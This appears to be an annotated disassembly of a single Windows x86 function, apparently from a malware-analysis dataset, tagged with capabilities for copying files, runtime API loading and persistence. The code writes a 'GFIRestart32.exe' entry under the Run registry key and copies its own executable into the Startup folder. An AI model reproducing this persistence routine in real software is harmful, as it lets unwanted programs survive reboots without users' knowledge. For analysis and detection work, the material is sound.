Function at 0x406950
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x42c1bc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
sub eax, 0
je 0x406b2f
dec eax
jne 0x406afc
push edi
push 0x42800c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x428028
push eax
mov dword [esi + 0x228], eax
call edi
mov dword [esi + 0x230], eax
mov eax, dword [esi + 0x228]
push 0x42803c
push eax
call edi
mov ecx, dword [esi + 0x228]
push 0x428600
push ecx
mov dword [esi + 0x23c], eax
call edi
mov edx, dword [esi + 0x228]
push 0x42804c
push edx
mov dword [esi + 0x24c], eax
call edi
cmp dword [esi + 0x230], 0
mov dword [esi + 0x248], eax
pop edi
je 0x406afc
mov ecx, dword [esi + 0x23c]
test ecx, ecx
je 0x406afc
cmp dword [esi + 0x24c], 0
je 0x406afc
test eax, eax
je 0x406afc
lea eax, [ebp - 0x620]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call ecx
test eax, eax
jne 0x406afc
push 0x104
lea ecx, [ebp - 0x414]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x620]
lea eax, [eax + eax + 2]
push eax
mov eax, dword [esi + 0x24c]
lea ecx, [ebp - 0x414]
push ecx
push 1
push 0
push str.GFIRestart32.exe
push edx
call eax
test eax, eax
jne 0x406b0e
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x20a]
push edx
mov word [ebp - 0x20c], cx
call fcn.00413c40
mov edx, dword [ebp - 0x620]
add esp, 0xc
lea eax, [ebp - 0x624]
push eax
mov eax, dword [esi + 0x230]
lea ecx, [ebp - 0x20c]
push ecx
push 0
push 0
push str.GFIRestart32.exe
push edx
mov dword [ebp - 0x624], 0x208
call eax
test eax, eax
jne 0x406aed
mov ecx, dword [ebp - 0x620]
mov edx, dword [esi + 0x248]
push ecx
call edx
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x620]
mov ecx, dword [esi + 0x248]
push eax
call ecx
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 0x620]
mov eax, dword [esi + 0x248]
push edx
call eax
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x20a]
push edx
mov word [ebp - 0x20c], cx
call fcn.00413c40
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x412]
push ecx
mov word [ebp - 0x414], ax
call fcn.00413c40
add esp, 0x18
push str.Shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.SHGetSpecialFolderPathW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x250], eax
test eax, eax
je 0x406afc
push 1
push 7
lea edx, [ebp - 0x20c]
push edx
push 0
call eax
test eax, eax
je 0x406afc
push 0x104
lea eax, [ebp - 0x61c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.GFIRestart32.exe
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x414]
push str._s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x61c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
xor ecx, ebp
neg eax
call fcn.00411e4f
mov esp, ebp
pop ebp
ret 4